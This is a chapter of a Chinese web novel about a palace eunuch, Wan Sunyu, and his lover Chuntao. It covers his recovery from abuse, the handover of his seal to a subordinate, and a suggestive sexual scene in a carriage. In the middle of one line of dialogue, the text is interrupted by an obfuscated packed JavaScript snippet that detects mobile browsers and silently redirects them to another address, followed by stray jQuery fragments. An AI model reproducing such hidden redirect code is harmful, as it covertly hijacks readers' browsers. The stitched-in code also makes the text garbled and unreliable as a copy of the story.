“谁允许你回家的?我同意了吗?”万荪瑜闻言,心头微暖,眼眶湿润,却仍淡淡丢出冷硬的话语,“日后没我的允准,不许出门。”
“你若真不允我出门,我能出得去吗?”她缓声道。相处这些时日,她早已知晓他就是嘴硬心软,便不再与他争论。
“你心里,到底有没有我?”他凝望着她纤秀俏丽的面容,仍想要一个答案,“或者说,你,欢喜我吗?”
“我不知道什么是欢喜,不知道心里装着一个人是什么感觉,”她思忖片刻,便认真道,“我只知道,我想和你待在一处,你不在府上时,我一直担心记挂你。”
她所言前半句叫他黯然,后半句落入他耳里,又叫他止不住欢喜。只他仍对这回答不甚满意,“欢喜就是欢喜,承认欢喜我、心里有我就这般难吗?”言罢,他长长叹息。
“你说是便是吧。”春桃无意与他纠缠,便推开门,询问侍剑是否熬好了粥。
“………”万荪瑜只觉头都大了,宛若卯足了力气出拳,却一拳打在了棉花上。
门外,侍剑正端着热粥进来了。春桃接过他手里的粥碗,便又行至床沿,在万荪瑜身畔坐下,“哥哥,你多少吃些吧,只喝药胃里会愈发难受的。”
万荪瑜感受到腹中疼痛,胃里仍在翻涌,不想叫她担忧,便轻轻颔首,就要接过瓷碗和勺子。
“我喂你呀。”春桃无视他的动作,便舀了一勺粥,轻轻吹了吹,送到了他唇畔。
万荪瑜心下欢喜,便试着将其含入嘴里。分明是一碗味道清甜的小米南瓜粥,舌尖漾开的却仍似那丹药的血腥腐臭气息,胃间便有恶心之感向上翻涌。他强压下这汹涌而出的不适感,便吞咽入腹。
“不急,慢慢来。”春桃知他难受,便轻抚他胸膛和背脊,帮他吞咽。
他便配合着一勺勺食下,“难得,能在这里食到和你一样的手艺。”
“这粥就是我煮的,你还未醒的时候。”春桃不禁笑了。
“……好吧,”万荪瑜便苦笑道,“若在宫里时,你也能在我身边,那该多好!”
“我也想……”春桃如今,已体会了日夜思念的滋味,她担忧的也只是在宫里叫人认出来,被有心人知晓了,会对万荪瑜不利。
话音刚落,门外便传来侍剑的声音,“掌印,万秉笔来了,他知您启程在即,有些公事想向您请教。”
万荪瑜却是神色镇定,并不急于将衣衫穿好,只以薄被搭住下半身。春桃与他目光交汇,便心照不宣地退到了梨花木嵌琉璃屏风后。
万旭推门而入,便向万荪瑜躬身行了一礼,“掌印启程在即,公事上还望赐教。”因万荪瑜即将离京办差,批红、盖印之权便暂由他这秉笔太监代掌。
他素来是个有眼力见儿的,见万荪瑜斜斜倚靠在榻上,面容憔悴,发丝微乱,中单衣领微开处,几缕伤痕隐约可见,便知他又遭受了一番凌虐。他知万荪瑜极忌讳被人瞧见这狼狈,便知自己来得不是时候,这便长话短说。
“早说了,你我兄弟一场,不必如此多礼,”万荪瑜抬眸打量他,便撞见了他眼底的一丝慌乱,“近来朝堂上无外乎那几桩事,圣上的脾性你知晓的,奏折和票拟递上来,你自己瞧着办吧。”
他语气倒是轻松,落在万旭耳里,却叫他难办了,“瞧着办是怎么办?”他暗道,因眼下一桩桩一件件皆是烫手山芋。
“侍剑,印章先交由万秉笔代管吧。”万荪瑜眼下哪里都不舒坦,只抬眸睨了眼万旭,并没有细细提点、手把手教他的耐心。
“是。”侍剑便拿出了印章,郑重地交到了万旭手里。
万旭接过这印章,心下仍有些忐忑。说了两句寒暄的场面话,便又向万荪瑜行了一礼,退了出去。
待他走远,万荪瑜便唤了候在门外的侍棋入内,“本督不在宫里时,多留意些,盯好他。”他眸光冰冷,语气沉凝。
“是。”侍棋应道。万荪瑜此番离京,身边自有亲信跟随,便也在宫里、府上留下了另外的亲信。
“我怎么瞧这万秉笔,脑子不太灵光的样子?”待万旭行远了,春桃便自屏风后缓步走出,“哥哥离京这段时日,他若是出了纰漏怎么办?”
“你倒是杞人忧天,”万荪瑜唇角勾起一抹笑意,“他在宫中行走这些年,若是出了纰漏,也是他的命数。何况只是暂代两月,若这点事都做不好,这秉笔之位他也不用坐了。”他沉声道,淡然语气间透着冷漠。
“可你曾说,你那些义兄里,他是唯一一个曾待你好的,我以为……”春桃垂眸,眸中却含着悲悯。
万荪瑜锐利眸光射过去,一下便明了了她接下来要说的是什么。这丫头到底是心善。“你是觉着,我待他冷漠了些吧?”
春桃沉默不语。
“我又不欠他的。他曾经是待我好,义父责打凌辱我时,他是唯一一个偷偷给我拿吃食、拿伤药的人。可我已经还了他了,我坐上这掌印之位后,曾经那些义兄,我只留了他一人性命,他到现在还活得好好的呢。”他语气沉凝,一字一句道。
“知人知面不知心,如今身份调转,昔日义弟,今日上级,他心中是否不忿,我不知道,自然要防着他,”他又道,“日后如何,都是他自己的命数。”
春桃闻言,便倒抽一口凉气。道理是这么个道理,可被他冷冽如冰的语气说出来,还是叫她感受到了深宫里的凉薄。“你这么做,自有你的道理。”她只轻轻颔首,便不再多言。
“你既跟了我,便该知道我是个什么人的。”他顾不得身上疼痛,便将她圈在了怀里。
他身上的缕缕伤痕依旧触摸惊心,她不想弄疼他,便要挣脱,却被他圈得更紧了些。
“我早知道你是个什么人了,不也没离开?”她埋首于他胸膛里,吸吮着他身上清冽的药香,“哥哥,不疼吗?”
“疼才好呢,身上越疼,越能感受到你在我身边。”万荪瑜抬手轻抚她额上几缕乌黑的秀发,语气亦比适才温柔许多。
“这人真是疯了。”她暗自无奈,待他松开了怀抱,便又给他身上伤处重新涂抹了药膏。
就这般又歇息了四日。
万荪瑜身上大大小小的伤尚未好全,却也不得不启程出发了。
临行前他特意叮嘱了侍书,给太子那边传个信。因他此番离京前往洛阳,没有两月便回不来的,圣人若真指定了工部尚书裴邕之女为太子侧妃,慕容珩势必要当心留意。
待信传到慕容珩手里,万荪瑜适才安心离京。而此番离京,为的就是出其不意,故一行人皆便装出行,万荪瑜扮作富家公子,春桃和一众番子则作侍卫装扮。
时下已是初秋时节,烈日当空,阳光落在身上仍有些火辣辣的燥热。圣人下旨,命万荪瑜七日内抵达洛阳,这一路上便行得极快。
马车微微晃动,已接连赶了两日的路程,万荪瑜显然有些支撑不住。伤处虽不再出血,内里却仍有些疼。
春桃便引着他趴在自己膝上,她身上清冽香气氤氲在空气里,他便觉疼痛缓解许多,伸手抚上她白皙颈项……
“……哥哥……这是在车里……”春桃止不住羞赧,便伸手摁住了他的动作。
“怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830558|190351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么?”他却是不以为然,“车里只你我二人,大家都忙着行路,谁会留意?”
春桃知道他的,想做什么总有千万个理由。这便松开了手。
他轻轻拥住她,修长手指细细摩挲。她下意识摁住他,不想他却迅速抽离。
异样的感觉渐渐晕开,“……快停下。”她企图制止,他却抢先一步。
“你这人,可真坏!”春桃不服气道,“是谁刚才一会儿说头晕、一会儿说胃里疼的?这会儿欺负起人来,力气倒是不小。”
“你在我身边,我自然有精神。”万荪瑜勾唇一笑,双眸却似两弯新月,神色狡黠,仍未停下动作。
她将将反应过来,奈何为时已晚。
“别怕,这次定不疼了。”他在她耳畔轻声笑道,便细细凝望着掌心。
他擅自攻城略地,试图让她餍足。臻入佳境,直到渐渐疲惫。这感觉,是她从未有过的。
她只觉面颊好似灼烧,抬手触上去,一片滚烫,“你再这样,我上前面骑马去,不和你待在车里了。”她嗔道。
“别呀,”万荪瑜确认车窗严严实实地阖着,车帘并未透风,“感觉如何?应该不疼吧?”他温声询问她,又在她耳后落下轻柔一吻。
她愈发羞赧,可适才的确是舒适的,那感觉浅尝则止,却还想……她沉默片刻,便垂首淡淡道:“……不疼。”
“那便好。”车帘垂落,马车内光影微暗,官道两旁树木葱茏,便在车内投下斑驳的树影。影影绰绰,娇花微颤。万荪瑜便俯身,亲吻她。
“……你有完没完?”她羞赧之下欲起身,却被他一把摁住。
“再坚持一会儿,好不好?”他轻声嘟哝着,以示哀求。
“好吧。”她假意答应,便不再动作。趁他不备,微微用力一踹。
“啊!”疼痛自那处袭来,他吃痛之下便跌坐在地上。
春桃便顺势麻利地穿好衣衫,行至他身畔,伸手将他摁在了地上。
“……疼……你踢我做什么?”他秀眉紧蹙,暗道这丫头当真是身手灵活矫健,力气还大。
“只许你欺负我,便不许我欺负你了?”她不服气道,指尖越过他衣衫,学着他的动作,以彼之道,还施彼身。
“别……别呀……”他欲挣扎着起身,奈何为时已晚。
她虽起步晚,这一身功夫终究没有白练,他想反击,却被她死死摁住,他想挣脱,又被她一个巧劲儿挡了回来。如此,便毫无还手之力。
“别……求你了……”万荪瑜恳求道,仿佛不会游水之人在水中浮沉。
春桃见他眸中水雾迷蒙,“姑且饶了你,看你日后还敢不敢欺负我。”这便停下。
万荪瑜不禁长舒一口气,俊美面容上神色嗔怒,“这是我最脆弱之处……不是……”他低声嘟哝,愠怒间含上了委屈。
“那你欺负我时怎的为所欲为?”春桃不服气道,“不是有个词叫礼尚往来?凭什么只能你欺负我?”
“你……”万荪瑜一时语塞,竟是哑口无言。半晌方才道:“这是我残缺之处……不该被如此……如此……”他说不下去了,脑海里蓦地便浮现出曾经被那人折辱时的情景,虽然他知晓,被她这般对待显然是不一样的。
她适才被他欺负得够呛,见他倒委屈上了,便大着胆子凑到他耳畔低声呢喃了一句什么,神色狡黠。
“你……”万荪瑜闻她所言,羞愧愠怒之下,一片湿热竟模糊了视线,这下真气得说不出话了。
这丫头方才所言,是嘲笑他身体无能么?怎能如此没心没肺?